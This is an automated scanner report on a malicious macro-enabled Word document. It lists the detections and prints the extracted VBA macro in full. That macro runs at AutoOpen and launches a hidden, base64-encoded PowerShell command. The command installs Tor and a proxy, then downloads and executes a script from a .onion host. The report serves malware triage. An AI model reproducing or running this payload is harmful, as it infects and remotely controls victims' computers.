MALICIOUS
352
Risk Score
Heuristics 9
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ClamAV: Doc.Virus.Pwshell-6755238-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Virus.Pwshell-6755238-0
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VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set a = CreateObject("WScript.Shell") -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set a = CreateObject("WScript.Shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 6508 bytes |
SHA-256: 3e442fc71162db15adaa829d44df924cb2bbca571c91c8da34a00f7512cf884c |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 12 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
b = "JwBsAFYAQgBqAFcAVwAnADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7ACcAagBOAFEATwBBAGkATQBNAGsAZABSACcAOwAnAGoAbQBxACcAOwAkAHcAdwBvACAAPQAgACgAZwBlAHQALQB3AG0AaQBvAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAEMAbwBtAHAAdQB0AGUAcgBTAHkAcwB0AGUAbQBQAHIAbwBkAHUAYwB0ACkALgBVAFUASQBEADsAJwBTAGEAUgB0ACcAOwAnAEUAbABGAGUAWABPAHQAUQBqAHoAJwA7AGkAZgAgACgAKABnAHAAIABIAEsAQwBVADoAXABcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIA" _
& "ZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACkAIAAtAG0AYQB0AGMAaAAgACQAdwB3AG8AKQB7ADsAJwBRAGEAVgBkAEYARgBqAGoAJwA7ACcATQB0AHEAQgB1ACcAOwAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0AaQBkACAAJABwAGkAZAApAC4ASwBpAGwAbAAoACkAOwAnAGMAdwAnADsAJwBPAE4AQgBHAFoAJwA7AH0AOwAnAFgAWAB6AHkARQB4AFAAeABGAGgAWQAnADsAJwBwAE0AZABTAEYASwBxAHIAdgBMAGEAJwA7ACcAWgBiAEUASwBiAFMAVQBoACcAOwAnAHgAagBwAFoAZQBZAEQAdgAnADsAZgB1AG4AYwB0AGkAbwBuACAAZQAoACQAcQB6AGEAKQB7ADsAJwBiAEcAYQBMAEEATABuAE0AdwAnADsAJwBFAE4AeABMAFQASwBkAGoAJwA7ACQAbwByAG8AdAAgAD0AIAAoACgA" _
& "KABpAGUAeAAgACIAbgBzAGwAbwBvAGsAdQBwACAALQBxAHUAZQByAHkAdAB5AHAAZQA9AHQAeAB0ACAAJABxAHoAYQAgADgALgA4AC4AOAAuADgAIgApACAALQBtAGEAdABjAGgAIAAnACIAJwApACAALQByAGUAcABsAGEAYwBlACAAJwAiACcALAAgACcAJwApAFsAMABdAC4AVAByAGkAbQAoACkAOwAnAFoAdQBpAEEAegBaAFQAJwA7ACcASQBuACcAOwAkAGIAcAAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABvAHIAbwB0ACwAIAAkAGEAaQApADsAJwBQAFIAQwBMAEkARgBWAFEASAAnADsAJwBjAFYAJwA7ACQAZgBpACAAPQAgACQAZgBqAHgALgBOAGEAbQBlAFMAcABhAGMAZQAoACQAYQBpACkALgBJAHQAZQBtAHMAKAApADsAJwBjAG0AQgBsAGsAaQBVAFcAJwA7ACcAcABKAHMA" _
& "YgBXAGYAbABPAEEAUQAnADsAJABmAGoAeAAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJAB6AHUAaQApAC4AQwBvAHAAeQBIAGUAcgBlACgAJABmAGkALAAgADIAMAApADsAJwBmAEwARwB6AFcAJwA7ACcAcQBhACcAOwByAGQAIAAkAGEAaQA7ACcASQB0AHAASwAnADsAJwBnAEEAYwB4AFEAbwBrAGoAYgBkAHEAJwA7AH0AOwAnAGQAZgBiAFcAcQBMAHQAJwA7ACcAcAB5AGkAQgBKAEcAUAByAHMAJwA7ACcAUwBIAHIAZQBEAHIAcQBzAGwARwBPACcAOwAnAGIAbQBYAGoAbABHAGsAUABOAE8AVwAnADsAJwB2AEwAYgAnADsAJwB0AEgAWgBGAEcARgBFAFYAUwAnADsAJAB6AHUAaQAgAD0AIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgACsAIAAnAFwAJwAgACsAIAAkAHcAdwBvADsAJwBRAEYA" _
& "WQBhAEUAYgBZAFUAJwA7ACcAVgB5AGIASwB4AFkASQBTAFYAVgAnADsAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHoAdQBpACkAKQB7ADsAJwBsAGEAcwB4AGcAJwA7ACcAVwBVAGQASwBIAFkAJwA7ACQAagBuAGoAIAA9ACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlACAALQBQAGEAdABoACAAJAB6AHUAaQA7ACcAVwBTAEIATgB6AHIAUQBXAFIAcAAnADsAJwBPAG0AcgBMAEoAUwBDAGMAcwBiACcAOwAkAGoAbgBqAC4AQQB0AHQAcgBpAGIAdQB0AGUAcwAgAD0AIAAiAEgAaQBkAGQAZQBuACIALAAgACIAUwB5AHMAdABlAG0AIgAsACAAIgBOAG8AdABDAG8AbgB0AGUAbgB0AEkAbgBkAGUA" _
& "eABlAGQAIgA7ACcAQQBWAEsAdAAnADsAJwBYAHoAUQBTAEMAJwA7AH0AOwAnAGMAcwBQAHAATAB6ACcAOwAnAEcAcQBBACcAOwAnAFgAVQBOAGMAUgBzACcAOwAnAHUAYQBkAFoAcwAnADsAJABmAGsAegA9ACQAegB1AGkAKwAgACcAXAB0AG8AcgAuAGUAeABlACcAOwAnAGMAdABBAFUAUwAnADsAJwBuAGQARABkAFcAbABpAFoAdgAnADsAJABzAHoAZQBvAD0AJAB6AHUAaQArACAAJwBcAHAAbwBsAGkAcABvAC4AZQB4AGUAJwA7ACcAYwBDACcAOwAnAHYATQB0AFoAawAnADsAJABhAGkAPQAkAHoAdQBpACsAJwBcACcAKwAkAHcAdwBvACsAJwAuAHoAaQBwACcAOwAnAGsAcgBLAHkARQBqAGgAcwAnADsAJwBKAHIAaQB4AHkAdwAnADsAJABiAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAA" _
& "UwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJwBxAGcAbABvAEgAdgBmAGoAJwA7ACcAawBtAE4AVwBCAFoAdwBhAEEAUgAnADsAJABmAGoAeAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AOwAnAFgAWQBMAEkAawBRACcAOwAnAFoATwBVAHUAJwA7ACcAWQBFAEoARgAnADsAJwBOAFkAQwAnADsAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGYAawB6ACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcwB6AGUAbwApACkAewA7ACcASABrAHUATgBEAEcAWgBqAHgAUABOACcAOwAnAHoATgBPAGIAaQBwAGEAbQBDAFQAJwA7AGUAIAAnAGkALgB2AGEAbgBrAGkA" _
& "bgAuAGQAZQAnADsAJwBsAGMATgBSAG4AcwByAEwAegBuAEcAJwA7ACcASgBlAEkARABQAGsAVQBQAGMAYQBNACcAOwB9ADsAJwBQAGMAYwB3AE0AcQBtAGoASQByACcAOwAnAEwAYwBqACcAOwAnAFIAUwBkAGMAYgBCAGQAcgBXACcAOwAnAEsAdABXAFoASQBkAE0AbwAnADsAaQBmACAAKAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGYAawB6ACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcwB6AGUAbwApACkAewA7ACcAZQBVAFIAUAB0AEUAZAAnADsAJwBxAEEAbwBIACcAOwBlACAAJwBnAGcALgBpAGIAaQB6AC4AYwBjACcAOwAnAEMAawBqAEsAJwA7ACcASAByAEwAcgAnADsAfQA7ACcAQgBEAG8AJwA7ACcAZABoAFYAWQBSAHUAZgBPACcAOwAnAHEAVAB0AFIA" _
& "JwA7ACcAdwBXAEgATgByAHkAJwA7ACQAdwBjAD0AJAB6AHUAaQArACcAXAByAG8AYQBtAGkAbgBnAGwAbwBnACcAOwAnAHgAUABRAGcASwAnADsAJwBhAEYAZwBsACcAOwBzAGEAcABzACAAJABmAGsAegAgAC0AQQByACAAIgAgAC0ALQBMAG8AZwAgAGAAIgBuAG8AdABpAGMAZQAgAGYAaQBsAGUAIAAkAHcAYwBgACIAIgAgAC0AdwBpACAASABpAGQAZABlAG4AOwAnAHMASAAnADsAJwBxAHYAawBXAGcAUQBGAE4AJwA7AGQAbwB7AHMAbABlAGUAcAAgADEAOwAkAGwAbAA9AGcAYwAgACQAdwBjAH0AdwBoAGkAbABlACgAIQAoACQAbABsACAALQBtAGEAdABjAGgAIAAnAEIAbwBvAHQAcwB0AHIAYQBwAHAAZQBkACAAMQAwADAAJQA6ACAARABvAG4AZQAuACcAKQApADsAJwBKAHoASgB0AHcA" _
& "YQBvAHgAbwBkACcAOwAnAGYAbQBMAGkAYgBOAEQAUQBYAGkAVAAnADsAcwBhAHAAcwAgACQAcwB6AGUAbwAgAC0AYQAgACIAcwBvAGMAawBzAFAAYQByAGUAbgB0AFAAcgBvAHgAeQA9AGwAbwBjAGEAbABoAG8AcwB0ADoAOQAwADUAMAAiACAALQB3AGkAIABIAGkAZABkAGUAbgA7ACcATQBNAEwAQgAnADsAJwBQAEIAJwA7AHMAbABlAGUAcAAgADcAOwAnAHIAbQB0ACcAOwAnAFUARwBZAFoAbwBIAGEAUAByAEkARAAnADsAJABsAGYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQAoACIAbABvAGMAYQBsAGgAbwBzAHQAOgA4ADEAMgAzACIAKQA7ACcAbQBqAGUAQQBxAFUAJwA7ACcASABoAFYAegAnADsAJABsAGYALgB1AHMA" _
& "ZQBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIAAkAHQAcgB1AGUAOwAnAEUAbwB3AGoAbABpAGIASQBpAGkAeQAnADsAJwBKAG8AegAnADsAJABiAHAALgBwAHIAbwB4AHkAPQAkAGwAZgA7ACcAdABRAG0AbAB5AHgAZwBTAHEATAAnADsAJwBPAFAAWQBBAHUARQBwAGkAcwBBAHoAJwA7ACQAbwB4AHEAPQAnAGgAdAB0AHAAOgAvAC8AcABvAHcAZQByAHcAbwByAG0AagBxAGoANAAyAGgAdQAuAG8AbgBpAG8AbgAvAGcAZQB0AC4AcABoAHAAPwBzAD0AcwBlAHQAdQBwACYAdQBpAGQAPQAnACAAKwAgACQAdwB3AG8AOwAnAEwAYwBPACcAOwAnAFkAegBUAHkAQQBMAFAAJwA7AHcAaABpAGwAZQAoACEAJABjAGwAKQB7ACQAYwBsAD0AJABiAHAALgBkAG8AdwBuAGwA" _
& "bwBhAGQAUwB0AHIAaQBuAGcAKAAkAG8AeABxACkAfQA7ACcAbABNAEIAJwA7ACcARgBRAFEAcABKAG4AQQAnADsAaQBmACAAKAAkAGMAbAAgAC0AbgBlACAAJwBuAG8AbgBlACcAKQB7ADsAJwBUAEsATgBUAG8AJwA7ACcASQBOACcAOwBpAGUAeAAgACQAYwBsADsAJwBQAGkATQAnADsAJwBKAGUAeQBsAGUAZgAnADsAfQA7ACcASgBpAG8AawBLAEsAJwA7AA=="
Set a = CreateObject("WScript.Shell")
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
End Sub
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 17920 bytes |
SHA-256: 5821518930c3d518e20ac85595b459086889bcbafc00f8466bc9b86b6fb0281a |
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Detection
ClamAV:
Doc.Virus.Pwshell-6755238-0
Obfuscation or payload:
likely
Carved artifact contains 12 long base64-like blob(s).
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